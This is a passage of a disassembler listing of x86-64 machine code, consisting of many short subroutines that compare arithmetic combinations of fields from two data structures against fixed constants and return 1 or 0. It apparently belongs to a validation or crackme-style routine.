.text:00000000004022BC ; =============== S U B R O U T I N E =======================================
.text:00000000004022BC
.text:00000000004022BC ; Attributes: bp-based frame
.text:00000000004022BC
.text:00000000004022BC sub_4022BC proc near ; CODE XREF: sub_4036FC+C68↓p
.text:00000000004022BC
.text:00000000004022BC var_10 = qword ptr -10h
.text:00000000004022BC var_8 = qword ptr -8
.text:00000000004022BC
.text:00000000004022BC ; __unwind {
.text:00000000004022BC push rbp
.text:00000000004022BD mov rbp, rsp
.text:00000000004022C0 mov [rbp+var_8], rdi
.text:00000000004022C4 mov [rbp+var_10], rsi
.text:00000000004022C8 mov rax, [rbp+var_8]
.text:00000000004022CC movzx eax, byte ptr [rax+0A1h]
.text:00000000004022D3 mov ecx, eax
.text:00000000004022D5 mov rax, [rbp+var_10]
.text:00000000004022D9 movzx eax, byte ptr [rax+9Eh]
.text:00000000004022E0 mov edx, eax
.text:00000000004022E2 mov eax, ecx
.text:00000000004022E4 imul eax, edx
.text:00000000004022E7 cmp al, 83h
.text:00000000004022E9 jnz short loc_402310
.text:00000000004022EB mov rax, [rbp+var_8]
.text:00000000004022EF movzx eax, byte ptr [rax+0A1h]
.text:00000000004022F6 mov edx, eax
.text:00000000004022F8 mov rax, [rbp+var_10]
.text:00000000004022FC movzx eax, byte ptr [rax+9Eh]
.text:0000000000402303 add eax, edx
.text:0000000000402305 cmp al, 0C4h
.text:0000000000402307 jnz short loc_402310
.text:0000000000402309 mov eax, 1
.text:000000000040230E jmp short loc_402315
.text:0000000000402310 ; ---------------------------------------------------------------------------
.text:0000000000402310
.text:0000000000402310 loc_402310: ; CODE XREF: sub_4022BC+2D↑j
.text:0000000000402310 ; sub_4022BC+4B↑j
.text:0000000000402310 mov eax, 0
.text:0000000000402315
.text:0000000000402315 loc_402315: ; CODE XREF: sub_4022BC+52↑j
.text:0000000000402315 pop rbp
.text:0000000000402316 retn
.text:0000000000402316 ; } // starts at 4022BC
.text:0000000000402316 sub_4022BC endp
.text:0000000000402316
.text:0000000000402317
.text:0000000000402317 ; =============== S U B R O U T I N E =======================================
.text:0000000000402317
.text:0000000000402317 ; Attributes: bp-based frame
.text:0000000000402317
.text:0000000000402317 sub_402317 proc near ; CODE XREF: sub_4036FC+C87↓p
.text:0000000000402317
.text:0000000000402317 var_10 = qword ptr -10h
.text:0000000000402317 var_8 = qword ptr -8
.text:0000000000402317
.text:0000000000402317 ; __unwind {
.text:0000000000402317 push rbp
.text:0000000000402318 mov rbp, rsp
.text:000000000040231B mov [rbp+var_8], rdi
.text:000000000040231F mov [rbp+var_10], rsi
.text:0000000000402323 mov rax, [rbp+var_8]
.text:0000000000402327 movzx eax, word ptr [rax+9Ch]
.text:000000000040232E mov edx, eax
.text:0000000000402330 mov rax, [rbp+var_10]
.text:0000000000402334 movzx eax, word ptr [rax+8Eh]
.text:000000000040233B add eax, edx
.text:000000000040233D cmp ax, 0DACBh
.text:0000000000402341 jnz short loc_40236C
.text:0000000000402343 mov rax, [rbp+var_8]
.text:0000000000402347 movzx eax, word ptr [rax+9Ch]
.text:000000000040234E cwde
.text:000000000040234F mov rdx, [rbp+var_10]
.text:0000000000402353 movzx edx, word ptr [rdx+8Eh]
.text:000000000040235A movsx ecx, dx
.text:000000000040235D cdq
.text:000000000040235E idiv ecx
.text:0000000000402360 test ax, ax
.text:0000000000402363 jnz short loc_40236C
.text:0000000000402365 mov eax, 1
.text:000000000040236A jmp short loc_402371
.text:000000000040236C ; ---------------------------------------------------------------------------
.text:000000000040236C
.text:000000000040236C loc_40236C: ; CODE XREF: sub_402317+2A↑j
.text:000000000040236C ; sub_402317+4C↑j
.text:000000000040236C mov eax, 0
.text:0000000000402371
.text:0000000000402371 loc_402371: ; CODE XREF: sub_402317+53↑j
.text:0000000000402371 pop rbp
.text:0000000000402372 retn
.text:0000000000402372 ; } // starts at 402317
.text:0000000000402372 sub_402317 endp
.text:0000000000402372
.text:0000000000402373
.text:0000000000402373 ; =============== S U B R O U T I N E =======================================
.text:0000000000402373
.text:0000000000402373 ; Attributes: bp-based frame
.text:0000000000402373
.text:0000000000402373 sub_402373 proc near ; CODE XREF: sub_4036FC+CA6↓p
.text:0000000000402373
.text:0000000000402373 var_10 = qword ptr -10h
.text:0000000000402373 var_8 = qword ptr -8
.text:0000000000402373
.text:0000000000402373 ; __unwind {
.text:0000000000402373 push rbp
.text:0000000000402374 mov rbp, rsp
.text:0000000000402377 mov [rbp+var_8], rdi
.text:000000000040237B mov [rbp+var_10], rsi
.text:000000000040237F mov rax, [rbp+var_8]
.text:0000000000402383 movzx eax, byte ptr [rax+0A6h]
.text:000000000040238A mov ecx, eax
.text:000000000040238C mov rax, [rbp+var_10]
.text:0000000000402390 movzx eax, byte ptr [rax+9Fh]
.text:0000000000402397 mov edx, eax
.text:0000000000402399 mov eax, ecx
.text:000000000040239B imul eax, edx
.text:000000000040239E cmp al, 36h
.text:00000000004023A0 jnz short loc_4023C7
.text:00000000004023A2 mov rax, [rbp+var_8]
.text:00000000004023A6 movzx eax, byte ptr [rax+0A6h]
.text:00000000004023AD mov edx, eax
.text:00000000004023AF mov rax, [rbp+var_10]
.text:00000000004023B3 movzx eax, byte ptr [rax+9Fh]
.text:00000000004023BA add eax, edx
.text:00000000004023BC cmp al, 0E5h
.text:00000000004023BE jnz short loc_4023C7
.text:00000000004023C0 mov eax, 1
.text:00000000004023C5 jmp short loc_4023CC
.text:00000000004023C7 ; ---------------------------------------------------------------------------
.text:00000000004023C7
.text:00000000004023C7 loc_4023C7: ; CODE XREF: sub_402373+2D↑j
.text:00000000004023C7 ; sub_402373+4B↑j
.text:00000000004023C7 mov eax, 0
.text:00000000004023CC
.text:00000000004023CC loc_4023CC: ; CODE XREF: sub_402373+52↑j
.text:00000000004023CC pop rbp
.text:00000000004023CD retn
.text:00000000004023CD ; } // starts at 402373
.text:00000000004023CD sub_402373 endp
.text:00000000004023CD
.text:00000000004023CE
.text:00000000004023CE ; =============== S U B R O U T I N E =======================================
.text:00000000004023CE
.text:00000000004023CE ; Attributes: bp-based frame
.text:00000000004023CE
.text:00000000004023CE sub_4023CE proc near ; CODE XREF: sub_4036FC+CC5↓p
.text:00000000004023CE
.text:00000000004023CE var_10 = qword ptr -10h
.text:00000000004023CE var_8 = qword ptr -8
.text:00000000004023CE
.text:00000000004023CE ; __unwind {
.text:00000000004023CE push rbp
.text:00000000004023CF mov rbp, rsp
.text:00000000004023D2 mov [rbp+var_8], rdi
.text:00000000004023D6 mov [rbp+var_10], rsi
.text:00000000004023DA mov rax, [rbp+var_8]
.text:00000000004023DE movzx eax, byte ptr [rax+0A4h]
.text:00000000004023E5 mov edx, eax
.text:00000000004023E7 mov rax, [rbp+var_10]
.text:00000000004023EB movzx eax, byte ptr [rax+9Bh]
.text:00000000004023F2 sub edx, eax
.text:00000000004023F4 mov eax, edx
.text:00000000004023F6 cmp al, 52h
.text:00000000004023F8 jnz short loc_402424
.text:00000000004023FA mov rax, [rbp+var_8]
.text:00000000004023FE movzx eax, byte ptr [rax+0A4h]
.text:0000000000402405 mov ecx, eax
.text:0000000000402407 mov rax, [rbp+var_10]
.text:000000000040240B movzx eax, byte ptr [rax+9Bh]
.text:0000000000402412 mov edx, eax
.text:0000000000402414 mov eax, ecx
.text:0000000000402416 imul eax, edx
.text:0000000000402419 cmp al, 40h
.text:000000000040241B jnz short loc_402424
.text:000000000040241D mov eax, 1
.text:0000000000402422 jmp short loc_402429
.text:0000000000402424 ; ---------------------------------------------------------------------------
.text:0000000000402424
.text:0000000000402424 loc_402424: ; CODE XREF: sub_4023CE+2A↑j
.text:0000000000402424 ; sub_4023CE+4D↑j
.text:0000000000402424 mov eax, 0
.text:0000000000402429
.text:0000000000402429 loc_402429: ; CODE XREF: sub_4023CE+54↑j
.text:0000000000402429 pop rbp
.text:000000000040242A retn
.text:000000000040242A ; } // starts at 4023CE
.text:000000000040242A sub_4023CE endp
.text:000000000040242A
.text:000000000040242B
.text:000000000040242B ; =============== S U B R O U T I N E =======================================
.text:000000000040242B
.text:000000000040242B ; Attributes: bp-based frame
.text:000000000040242B
.text:000000000040242B sub_40242B proc near ; CODE XREF: sub_4036FC+CE4↓p
.text:000000000040242B
.text:000000000040242B var_10 = qword ptr -10h
.text:000000000040242B var_8 = qword ptr -8
.text:000000000040242B
.text:000000000040242B ; __unwind {
.text:000000000040242B push rbp
.text:000000000040242C mov rbp, rsp
.text:000000000040242F mov [rbp+var_8], rdi
.text:0000000000402433 mov [rbp+var_10], rsi
.text:0000000000402437 mov rax, [rbp+var_8]
.text:000000000040243B movzx eax, byte ptr [rax+0A4h]
.text:0000000000402442 mov edx, eax
.text:0000000000402444 mov rax, [rbp+var_10]
.text:0000000000402448 movzx eax, byte ptr [rax+0AAh]
.text:000000000040244F add eax, edx
.text:0000000000402451 cmp al, 0E5h
.text:0000000000402453 jnz short loc_40247F
.text:0000000000402455 mov rax, [rbp+var_8]
.text:0000000000402459 movzx eax, byte ptr [rax+0A4h]
.text:0000000000402460 movsx eax, al
.text:0000000000402463 mov rdx, [rbp+var_10]
.text:0000000000402467 movzx edx, byte ptr [rdx+0AAh]
.text:000000000040246E movsx ecx, dl
.text:0000000000402471 cdq
.text:0000000000402472 idiv ecx
.text:0000000000402474 test al, al
.text:0000000000402476 jnz short loc_40247F
.text:0000000000402478 mov eax, 1
.text:000000000040247D jmp short loc_402484
.text:000000000040247F ; ---------------------------------------------------------------------------
.text:000000000040247F
.text:000000000040247F loc_40247F: ; CODE XREF: sub_40242B+28↑j
.text:000000000040247F ; sub_40242B+4B↑j
.text:000000000040247F mov eax, 0
.text:0000000000402484
.text:0000000000402484 loc_402484: ; CODE XREF: sub_40242B+52↑j
.text:0000000000402484 pop rbp
.text:0000000000402485 retn
.text:0000000000402485 ; } // starts at 40242B
.text:0000000000402485 sub_40242B endp
.text:0000000000402485
.text:0000000000402486
.text:0000000000402486 ; =============== S U B R O U T I N E =======================================
.text:0000000000402486
.text:0000000000402486 ; Attributes: bp-based frame
.text:0000000000402486
.text:0000000000402486 sub_402486 proc near ; CODE XREF: sub_4036FC+D03↓p
.text:0000000000402486
.text:0000000000402486 var_10 = qword ptr -10h
.text:0000000000402486 var_8 = qword ptr -8
.text:0000000000402486
.text:0000000000402486 ; __unwind {
.text:0000000000402486 push rbp
.text:0000000000402487 mov rbp, rsp
.text:000000000040248A mov [rbp+var_8], rdi
.text:000000000040248E mov [rbp+var_10], rsi
.text:0000000000402492 mov rax, [rbp+var_8]
.text:0000000000402496 movzx eax, word ptr [rax+0ACh]
.text:000000000040249D mov edx, eax
.text:000000000040249F mov rax, [rbp+var_10]
.text:00000000004024A3 movzx eax, word ptr [rax+0AEh]
.text:00000000004024AA sub edx, eax
.text:00000000004024AC mov eax, edx
.text:00000000004024AE cmp ax, 0ED4Fh
.text:00000000004024B2 jnz short loc_4024DB
.text:00000000004024B4 mov rax, [rbp+var_8]
.text:00000000004024B8 movzx eax, word ptr [rax+0ACh]
.text:00000000004024BF mov edx, eax
.text:00000000004024C1 mov rax, [rbp+var_10]
.text:00000000004024C5 movzx eax, word ptr [rax+0AEh]
.text:00000000004024CC add eax, edx
.text:00000000004024CE cmp ax, 0DF8Fh
.text:00000000004024D2 jnz short loc_4024DB
.text:00000000004024D4 mov eax, 1
.text:00000000004024D9 jmp short loc_4024E0
.text:00000000004024DB ; ---------------------------------------------------------------------------
.text:00000000004024DB
.text:00000000004024DB loc_4024DB: ; CODE XREF: sub_402486+2C↑j
.text:00000000004024DB ; sub_402486+4C↑j
.text:00000000004024DB mov eax, 0
.text:00000000004024E0
.text:00000000004024E0 loc_4024E0: ; CODE XREF: sub_402486+53↑j
.text:00000000004024E0 pop rbp
.text:00000000004024E1 retn
.text:00000000004024E1 ; } // starts at 402486
.text:00000000004024E1 sub_402486 endp
.text:00000000004024E1
.text:00000000004024E2
.text:00000000004024E2 ; =============== S U B R O U T I N E =======================================
.text:00000000004024E2
.text:00000000004024E2 ; Attributes: bp-based frame
.text:00000000004024E2
.text:00000000004024E2 sub_4024E2 proc near ; CODE XREF: sub_4036FC+D22↓p
.text:00000000004024E2
.text:00000000004024E2 var_10 = qword ptr -10h
.text:00000000004024E2 var_8 = qword ptr -8
.text:00000000004024E2
.text:00000000004024E2 ; __unwind {
.text:00000000004024E2 push rbp
.text:00000000004024E3 mov rbp, rsp
.text:00000000004024E6 mov [rbp+var_8], rdi
.text:00000000004024EA mov [rbp+var_10], rsi
.text:00000000004024EE mov rax, [rbp+var_8]
.text:00000000004024F2 movzx eax, word ptr [rax+0AEh]
.text:00000000004024F9 cwde
.text:00000000004024FA mov rdx, [rbp+var_10]
.text:00000000004024FE movzx edx, word ptr [rdx+0C2h]
.text:0000000000402505 movsx ecx, dx
.text:0000000000402508 cdq
.text:0000000000402509 idiv ecx
.text:000000000040250B cmp ax, 2
.text:000000000040250F jnz short loc_402539
.text:0000000000402511 mov rax, [rbp+var_8]
.text:0000000000402515 movzx eax, word ptr [rax+0AEh]
.text:000000000040251C mov edx, eax
.text:000000000040251E mov rax, [rbp+var_10]
.text:0000000000402522 movzx eax, word ptr [rax+0C2h]
.text:0000000000402529 imul eax, edx
.text:000000000040252C cmp ax, 83C0h
.text:0000000000402530 jnz short loc_402539
.text:0000000000402532 mov eax, 1
.text:0000000000402537 jmp short loc_40253E
.text:0000000000402539 ; ---------------------------------------------------------------------------
.text:0000000000402539
.text:0000000000402539 loc_402539: ; CODE XREF: sub_4024E2+2D↑j
.text:0000000000402539 ; sub_4024E2+4E↑j
.text:0000000000402539 mov eax, 0
.text:000000000040253E
.text:000000000040253E loc_40253E: ; CODE XREF: sub_4024E2+55↑j
.text:000000000040253E pop rbp
.text:000000000040253F retn
.text:000000000040253F ; } // starts at 4024E2
.text:000000000040253F sub_4024E2 endp
.text:000000000040253F
.text:0000000000402540
.text:0000000000402540 ; =============== S U B R O U T I N E =======================================
.text:0000000000402540
.text:0000000000402540 ; Attributes: bp-based frame
.text:0000000000402540
.text:0000000000402540 sub_402540 proc near ; CODE XREF: sub_4036FC+D41↓p
.text:0000000000402540
.text:0000000000402540 var_10 = qword ptr -10h
.text:0000000000402540 var_8 = qword ptr -8
.text:0000000000402540
.text:0000000000402540 ; __unwind {
.text:0000000000402540 push rbp
.text:0000000000402541 mov rbp, rsp
.text:0000000000402544 mov [rbp+var_8], rdi
.text:0000000000402548 mov [rbp+var_10], rsi
.text:000000000040254C mov rax, [rbp+var_8]
.text:0000000000402550 movzx eax, byte ptr [rax+0A3h]
.text:0000000000402557 mov ecx, eax
.text:0000000000402559 mov rax, [rbp+var_10]
.text:000000000040255D movzx eax, byte ptr [rax+0A5h]
.text:0000000000402564 mov edx, eax
.text:0000000000402566 mov eax, ecx
.text:0000000000402568 imul eax, edx
.text:000000000040256B cmp al, 6Dh
.text:000000000040256D jnz short loc_402596
.text:000000000040256F mov rax, [rbp+var_8]
.text:0000000000402573 movzx eax, byte ptr [rax+0A3h]
.text:000000000040257A mov edx, eax
.text:000000000040257C mov rax, [rbp+var_10]
.text:0000000000402580 movzx eax, byte ptr [rax+0A5h]
.text:0000000000402587 sub edx, eax
.text:0000000000402589 mov eax, edx
.text:000000000040258B cmp al, 0FCh
.text:000000000040258D jnz short loc_402596
.text:000000000040258F mov eax, 1
.text:0000000000402594 jmp short loc_40259B
.text:0000000000402596 ; ---------------------------------------------------------------------------
.text:0000000000402596
.text:0000000000402596 loc_402596: ; CODE XREF: sub_402540+2D↑j
.text:0000000000402596 ; sub_402540+4D↑j
.text:0000000000402596 mov eax, 0
.text:000000000040259B
.text:000000000040259B loc_40259B: ; CODE XREF: sub_402540+54↑j
.text:000000000040259B pop rbp
.text:000000000040259C retn
.text:000000000040259C ; } // starts at 402540
.text:000000000040259C sub_402540 endp
.text:000000000040259C
.text:000000000040259D
.text:000000000040259D ; =============== S U B R O U T I N E =======================================
.text:000000000040259D
.text:000000000040259D ; Attributes: bp-based frame
.text:000000000040259D
.text:000000000040259D sub_40259D proc near ; CODE XREF: sub_4036FC+D60↓p
.text:000000000040259D
.text:000000000040259D var_10 = qword ptr -10h
.text:000000000040259D var_8 = qword ptr -8
.text:000000000040259D
.text:000000000040259D ; __unwind {
.text:000000000040259D push rbp
.text:000000000040259E mov rbp, rsp
.text:00000000004025A1 mov [rbp+var_8], rdi
.text:00000000004025A5 mov [rbp+var_10], rsi
.text:00000000004025A9 mov rax, [rbp+var_8]
.text:00000000004025AD movzx eax, byte ptr [rax+0A3h]
.text:00000000004025B4 mov edx, eax
.text:00000000004025B6 mov rax, [rbp+var_10]
.text:00000000004025BA movzx eax, byte ptr [rax+0A8h]
.text:00000000004025C1 sub edx, eax
.text:00000000004025C3 mov eax, edx
.text:00000000004025C5 cmp al, 0FCh
.text:00000000004025C7 jnz short loc_4025EE
.text:00000000004025C9 mov rax, [rbp+var_8]
.text:00000000004025CD movzx eax, byte ptr [rax+0A3h]
.text:00000000004025D4 mov edx, eax
.text:00000000004025D6 mov rax, [rbp+var_10]
.text:00000000004025DA movzx eax, byte ptr [rax+0A8h]
.text:00000000004025E1 add eax, edx
.text:00000000004025E3 cmp al, 0CEh
.text:00000000004025E5 jnz short loc_4025EE
.text:00000000004025E7 mov eax, 1
.text:00000000004025EC jmp short loc_4025F3
.text:00000000004025EE ; ---------------------------------------------------------------------------
.text:00000000004025EE
.text:00000000004025EE loc_4025EE: ; CODE XREF: sub_40259D+2A↑j
.text:00000000004025EE ; sub_40259D+48↑j
.text:00000000004025EE mov eax, 0
.text:00000000004025F3
.text:00000000004025F3 loc_4025F3: ; CODE XREF: sub_40259D+4F↑j
.text:00000000004025F3 pop rbp
.text:00000000004025F4 retn
.text:00000000004025F4 ; } // starts at 40259D
.text:00000000004025F4 sub_40259D endp
.text:00000000004025F4
.text:00000000004025F5
.text:00000000004025F5 ; =============== S U B R O U T I N E =======================================
.text:00000000004025F5
.text:00000000004025F5 ; Attributes: bp-based frame
.text:00000000004025F5
.text:00000000004025F5 sub_4025F5 proc near ; CODE XREF: sub_4036FC+D7F↓p
.text:00000000004025F5
.text:00000000004025F5 var_10 = qword ptr -10h
.text:00000000004025F5 var_8 = qword ptr -8
.text:00000000004025F5
.text:00000000004025F5 ; __unwind {
.text:00000000004025F5 push rbp
.text:00000000004025F6 mov rbp, rsp
.text:00000000004025F9 mov [rbp+var_8], rdi
.text:00000000004025FD mov [rbp+var_10], rsi
.text:0000000000402601 mov rax, [rbp+var_8]
.text:0000000000402605 movzx eax, word ptr [rax+0A8h]
.text:000000000040260C mov edx, eax
.text:000000000040260E mov rax, [rbp+var_10]
.text:0000000000402612 movzx eax, word ptr [rax+0B6h]
.text:0000000000402619 add eax, edx
.text:000000000040261B cmp ax, 0A2DDh
.text:000000000040261F jnz short loc_40264A
.text:0000000000402621 mov rax, [rbp+var_8]
.text:0000000000402625 movzx eax, word ptr [rax+0A8h]
.text:000000000040262C mov edx, eax
.text:000000000040262E mov rax, [rbp+var_10]
.text:0000000000402632 movzx eax, word ptr [rax+0B6h]
.text:0000000000402639 sub edx, eax
.text:000000000040263B mov eax, edx
.text:000000000040263D cmp ax, 23F5h
.text:0000000000402641 jnz short loc_40264A
.text:0000000000402643 mov eax, 1
.text:0000000000402648 jmp short loc_40264F
.text:000000000040264A ; ---------------------------------------------------------------------------
.text:000000000040264A
.text:000000000040264A loc_40264A: ; CODE XREF: sub_4025F5+2A↑j
.text:000000000040264A ; sub_4025F5+4C↑j
.text:000000000040264A mov eax, 0
.text:000000000040264F
.text:000000000040264F loc_40264F: ; CODE XREF: sub_4025F5+53↑j
.text:000000000040264F pop rbp
.text:0000000000402650 retn
.text:0000000000402650 ; } // starts at 4025F5
.text:0000000000402650 sub_4025F5 endp
.text:0000000000402650
.text:0000000000402651
.text:0000000000402651 ; =============== S U B R O U T I N E =======================================
.text:0000000000402651
.text:0000000000402651 ; Attributes: bp-based frame
.text:0000000000402651
.text:0000000000402651 sub_402651 proc near ; CODE XREF: sub_4036FC+D9E↓p
.text:0000000000402651
.text:0000000000402651 var_10 = qword ptr -10h
.text:0000000000402651 var_8 = qword ptr -8
.text:0000000000402651
.text:0000000000402651 ; __unwind {
.text:0000000000402651 push rbp
.text:0000000000402652 mov rbp, rsp
.text:0000000000402655 mov [rbp+var_8], rdi
.text:0000000000402659 mov [rbp+var_10], rsi
.text:000000000040265D mov rax, [rbp+var_8]
.text:0000000000402661 movzx eax, byte ptr [rax+0ABh]
.text:0000000000402668 mov edx, eax
.text:000000000040266A mov rax, [rbp+var_10]
.text:000000000040266E movzx eax, byte ptr [rax+0B8h]
.text:0000000000402675 add eax, edx
.text:0000000000402677 cmp al, 2Ah
.text:0000000000402679 jnz short loc_4026A5
.text:000000000040267B mov rax, [rbp+var_8]
.text:000000000040267F movzx eax, byte ptr [rax+0ABh]
.text:0000000000402686 mov ecx, eax
.text:0000000000402688 mov rax, [rbp+var_10]
.text:000000000040268C movzx eax, byte ptr [rax+0B8h]
.text:0000000000402693 mov edx, eax
.text:0000000000402695 mov eax, ecx
.text:0000000000402697 imul eax, edx
.text:000000000040269A cmp al, 40h
.text:000000000040269C jnz short loc_4026A5
.text:000000000040269E mov eax, 1
.text:00000000004026A3 jmp short loc_4026AA
.text:00000000004026A5 ; ---------------------------------------------------------------------------
.text:00000000004026A5
.text:00000000004026A5 loc_4026A5: ; CODE XREF: sub_402651+28↑j
.text:00000000004026A5 ; sub_402651+4B↑j
.text:00000000004026A5 mov eax, 0
.text:00000000004026AA
.text:00000000004026AA loc_4026AA: ; CODE XREF: sub_402651+52↑j
.text:00000000004026AA pop rbp
.text:00000000004026AB retn
.text:00000000004026AB ; } // starts at 402651
.text:00000000004026AB sub_402651 endp
.text:00000000004026AB
.text:00000000004026AC
.text:00000000004026AC ; =============== S U B R O U T I N E =======================================
.text:00000000004026AC
.text:00000000004026AC ; Attributes: bp-based frame
.text:00000000004026AC
.text:00000000004026AC sub_4026AC proc near ; CODE XREF: sub_4036FC+DBD↓p
.text:00000000004026AC
.text:00000000004026AC var_10 = qword ptr -10h
.text:00000000004026AC var_8 = qword ptr -8
.text:00000000004026AC
.text:00000000004026AC ; __unwind {
.text:00000000004026AC push rbp
.text:00000000004026AD mov rbp, rsp
.text:00000000004026B0 mov [rbp+var_8], rdi
.text:00000000004026B4 mov [rbp+var_10], rsi
.text:00000000004026B8 mov rax, [rbp+var_8]
.text:00000000004026BC movzx eax, byte ptr [rax+0A5h]
.text:00000000004026C3 mov edx, eax
.text:00000000004026C5 mov rax, [rbp+var_10]
.text:00000000004026C9 movzx eax, byte ptr [rax+0A9h]
.text:00000000004026D0 sub edx, eax
.text:00000000004026D2 mov eax, edx
.text:00000000004026D4 cmp al, 6
.text:00000000004026D6 jnz short loc_402702
.text:00000000004026D8 mov rax, [rbp+var_8]
.text:00000000004026DC movzx eax, byte ptr [rax+0A5h]
.text:00000000004026E3 mov ecx, eax
.text:00000000004026E5 mov rax, [rbp+var_10]
.text:00000000004026E9 movzx eax, byte ptr [rax+0A9h]
.text:00000000004026F0 mov edx, eax
.text:00000000004026F2 mov eax, ecx
.text:00000000004026F4 imul eax, edx
.text:00000000004026F7 cmp al, 9Bh
.text:00000000004026F9 jnz short loc_402702
.text:00000000004026FB mov eax, 1
.text:0000000000402700 jmp short loc_402707
.text:0000000000402702 ; ---------------------------------------------------------------------------
.text:0000000000402702
.text:0000000000402702 loc_402702: ; CODE XREF: sub_4026AC+2A↑j
.text:0000000000402702 ; sub_4026AC+4D↑j
.text:0000000000402702 mov eax, 0
.text:0000000000402707
.text:0000000000402707 loc_402707: ; CODE XREF: sub_4026AC+54↑j
.text:0000000000402707 pop rbp
.text:0000000000402708 retn
.text:0000000000402708 ; } // starts at 4026AC
.text:0000000000402708 sub_4026AC endp
.text:0000000000402708
.text:0000000000402709
.text:0000000000402709 ; =============== S U B R O U T I N E =======================================
.text:0000000000402709
.text:0000000000402709 ; Attributes: bp-based frame
.text:0000000000402709
.text:0000000000402709 sub_402709 proc near ; CODE XREF: sub_4036FC+DDC↓p
.text:0000000000402709
.text:0000000000402709 var_10 = qword ptr -10h
.text:0000000000402709 var_8 = qword ptr -8
.text:0000000000402709
.text:0000000000402709 ; __unwind {
.text:0000000000402709 push rbp
.text:000000000040270A mov rbp, rsp
.text:000000000040270D mov [rbp+var_8], rdi
.text:0000000000402711 mov [rbp+var_10], rsi
.text:0000000000402715 mov rax, [rbp+var_8]
.text:0000000000402719 mov edx, [rax+0B0h]
.text:000000000040271F mov rax, [rbp+var_10]
.text:0000000000402723 mov eax, [rax+0DAh]
.text:0000000000402729 add eax, edx
.text:000000000040272B cmp eax, 94E5E4DCh
.text:0000000000402730 jnz short loc_402754
.text:0000000000402732 mov rax, [rbp+var_8]
.text:0000000000402736 mov eax, [rax+0B0h]
.text:000000000040273C mov rdx, [rbp+var_10]
.text:0000000000402740 mov ecx, [rdx+0DAh]
.text:0000000000402746 cdq
.text:0000000000402747 idiv ecx
.text:0000000000402749 test eax, eax
.text:000000000040274B jnz short loc_402754
.text:000000000040274D mov eax, 1
.text:0000000000402752 jmp short loc_402759
.text:0000000000402754 ; ---------------------------------------------------------------------------
.text:0000000000402754
.text:0000000000402754 loc_402754: ; CODE XREF: sub_402709+27↑j
.text:0000000000402754 ; sub_402709+42↑j
.text:0000000000402754 mov eax, 0
.text:0000000000402759
.text:0000000000402759 loc_402759: ; CODE XREF: sub_402709+49↑j
.text:0000000000402759 pop rbp
.text:000000000040275A retn
.text:000000000040275A ; } // starts at 402709
.text:000000000040275A sub_402709 endp
.text:000000000040275A
.text:000000000040275B
.text:000000000040275B ; =============== S U B R O U T I N E =======================================
.text:000000000040275B
.text:000000000040275B ; Attributes: bp-based frame
.text:000000000040275B
.text:000000000040275B sub_40275B proc near ; CODE XREF: sub_4036FC+DFB↓p
.text:000000000040275B
.text:000000000040275B var_10 = qword ptr -10h
.text:000000000040275B var_8 = qword ptr -8
.text:000000000040275B
.text:000000000040275B ; __unwind {
.text:000000000040275B push rbp
.text:000000000040275C mov rbp, rsp
.text:000000000040275F mov [rbp+var_8], rdi
.text:0000000000402763 mov [rbp+var_10], rsi
.text:0000000000402767 mov rax, [rbp+var_8]
.text:000000000040276B movzx eax, byte ptr [rax+0A6h]
.text:0000000000402772 mov edx, eax
.text:0000000000402774 mov rax, [rbp+var_10]
.text:0000000000402778 movzx eax, byte ptr [rax+0B0h]
.text:000000000040277F add eax, edx
.text:0000000000402781 cmp al, 0E2h
.text:0000000000402783 jnz short loc_4027AF
.text:0000000000402785 mov rax, [rbp+var_8]
.text:0000000000402789 movzx eax, byte ptr [rax+0A6h]
.text:0000000000402790 mov ecx, eax
.text:0000000000402792 mov rax, [rbp+var_10]
.text:0000000000402796 movzx eax, byte ptr [rax+0B0h]
.text:000000000040279D mov edx, eax
.text:000000000040279F mov eax, ecx
.text:00000000004027A1 imul eax, edx
.text:00000000004027A4 cmp al, 0DDh
.text:00000000004027A6 jnz short loc_4027AF
.text:00000000004027A8 mov eax, 1
.text:00000000004027AD jmp short loc_4027B4
.text:00000000004027AF ; ---------------------------------------------------------------------------
.text:00000000004027AF
.text:00000000004027AF loc_4027AF: ; CODE XREF: sub_40275B+28↑j
.text:00000000004027AF ; sub_40275B+4B↑j
.text:00000000004027AF mov eax, 0
.text:00000000004027B4
.text:00000000004027B4 loc_4027B4: ; CODE XREF: sub_40275B+52↑j
.text:00000000004027B4 pop rbp
.text:00000000004027B5 retn
.text:00000000004027B5 ; } // starts at 40275B
.text:00000000004027B5 sub_40275B endp
.text:00000000004027B5
.text:00000000004027B6
.text:00000000004027B6 ; =============== S U B R O U T I N E =======================================
.text:00000000004027B6
.text:00000000004027B6 ; Attributes: bp-based frame
.text:00000000004027B6
.text:00000000004027B6 sub_4027B6 proc near ; CODE XREF: sub_4036FC+E1A↓p
.text:00000000004027B6
.text:00000000004027B6 var_10 = qword ptr -10h
.text:00000000004027B6 var_8 = qword ptr -8
.text:00000000004027B6
.text:00000000004027B6 ; __unwind {
.text:00000000004027B6 push rbp
.text:00000000004027B7 mov rbp, rsp
.text:00000000004027BA mov [rbp+var_8], rdi
.text:00000000004027BE mov [rbp+var_10], rsi
.text:00000000004027C2 mov rax, [rbp+var_8]
.text:00000000004027C6 movzx eax, byte ptr [rax+0A7h]
.text:00000000004027CD mov edx, eax
.text:00000000004027CF mov rax, [rbp+var_10]
.text:00000000004027D3 movzx eax, byte ptr [rax+0B1h]
.text:00000000004027DA add eax, edx
.text:00000000004027DC cmp al, 0E9h
.text:00000000004027DE jnz short loc_402807
.text:00000000004027E0 mov rax, [rbp+var_8]
.text:00000000004027E4 movzx eax, byte ptr [rax+0A7h]
.text:00000000004027EB mov edx, eax
.text:00000000004027ED mov rax, [rbp+var_10]
.text:00000000004027F1 movzx eax, byte ptr [rax+0B1h]
.text:00000000004027F8 sub edx, eax
.text:00000000004027FA mov eax, edx
.text:00000000004027FC cmp al, 0FFh
.text:00000000004027FE jnz short loc_402807
.text:0000000000402800 mov eax, 1
.text:0000000000402805 jmp short loc_40280C
.text:0000000000402807 ; ---------------------------------------------------------------------------
.text:0000000000402807
.text:0000000000402807 loc_402807: ; CODE XREF: sub_4027B6+28↑j
.text:0000000000402807 ; sub_4027B6+48↑j
.text:0000000000402807 mov eax, 0
.text:000000000040280C
.text:000000000040280C loc_40280C: ; CODE XREF: sub_4027B6+4F↑j
.text:000000000040280C pop rbp
.text:000000000040280D retn
.text:000000000040280D ; } // starts at 4027B6
.text:000000000040280D sub_4027B6 endp
.text:000000000040280D
.text:000000000040280E
.text:000000000040280E ; =============== S U B R O U T I N E =======================================
.text:000000000040280E
.text:000000000040280E ; Attributes: bp-based frame
.text:000000000040280E
